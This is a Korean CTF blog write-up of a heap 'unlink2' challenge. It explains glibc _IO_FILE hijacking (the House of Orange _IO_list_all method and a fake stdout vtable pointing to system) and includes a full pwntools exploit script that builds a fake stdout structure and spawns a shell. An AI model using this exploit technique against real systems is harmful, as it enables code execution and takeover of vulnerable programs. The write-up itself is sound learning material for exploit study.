unlink 문제였고 쉽게 arbitrary overwrite가 가능했다.
하지만 overwrite의 기회는 한번이고 무엇을 overwrite해야 할지 몰라서 헤맸던 문제
다른 writeup을 보고나서 다시 풀어보려고 한다.
두가지 방법이 있다.
memmory corruption이 일어나면 메모리가 abort되면서 _IO_flush_all_lockp 를 호출하는데 여기서
_IO_list_all이라는 전역변수를 _IO_FILE이라는 구조체 형태로 사용하게 된다.
이 함수에서 몇가지 조건을 맞춰주면 IO_FILE의 flag를 인자로 하는 vtable의 함수를 호출하는데 이부분을 system으로 덮어써주고 flag를 /bin/sh로 만든 fake structure을 만들어주고 _IO_list_all의 포인터를 overwrite하는 방법이다.
HITCON house_of_orange 에서 나온 기법인데 감탄스러웠다..
두번째 방법은 printf에서 stdout의 vptr을 참조하는데 stdout 구조체를 위와 같이 fake struct를 만들어 포인터를 overwrite하는 방법이다.
두번째 방법으로 짠 익스
printf에서 _IO_puts를 호출하고 여기서 stdout을 사용
stdout은 IO_stdout 구조체를 가리키는 포인터 이것을 덮어써줫음
중간에 구조체 값들 중에 값을 보존해야 하는 부분도 있었음 그걸 유의해서 짠 코드
from pwn import * import re p=process('/home/christmas1/unlink2') #p=process('/tmp/shsh/unlink2') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') system_off=libc.symbols['system'] rr=p.recv() Aad=int(re.findall(r'0x[a-z,0-9]{12}',rr)[0],16) Bad=int(re.findall(r'0x[a-z,0-9]{12}',rr)[1],16) Cad=int(re.findall(r'0x[a-z,0-9]{12}',rr)[2],16) systemadd=int(re.findall(r'0x[a-z,0-9]{12}',rr)[3],16) libc_base=systemadd-system_off print "A:",hex(Aad) print "B:",hex(Bad) print "C:",hex(Cad) print "system : ",hex(systemadd) a=systemadd+3661040 stdout=systemadd-0x7f9a6f1dc380+0x7f9a6f55b708 a=libc_base+0x3c5780 fake_IO_stdout='/bin/sh\x00'+p64(0x00)+p64(systemadd)+p64(0x00)*5+p64(0x00)*9+p64(a)+p64(0x00)*9+p64(Cad-0x28) pay="" pay+="A"*8 pay+=p64(0x00) pay+=p64(Cad) pay+=p64(stdout) pay+=p64(0) pay+=p64(0x21) pay+=fake_IO_stdout p.send(pay+'\n') p.interactive()
'CTF' 카테고리의 다른 글
[SECCON 2016]tinypad (0) | 2017.01.18 |
---|---|
[HITCON CTF Qual 2016]house of orange (0) | 2017.01.18 |
[9447-ctf-2015] search 230pt (0) | 2017.01.08 |
[33c3ctf]babyfengshui (0) | 2017.01.06 |
[SECCON 2016] pppppoxy (0) | 2016.12.29 |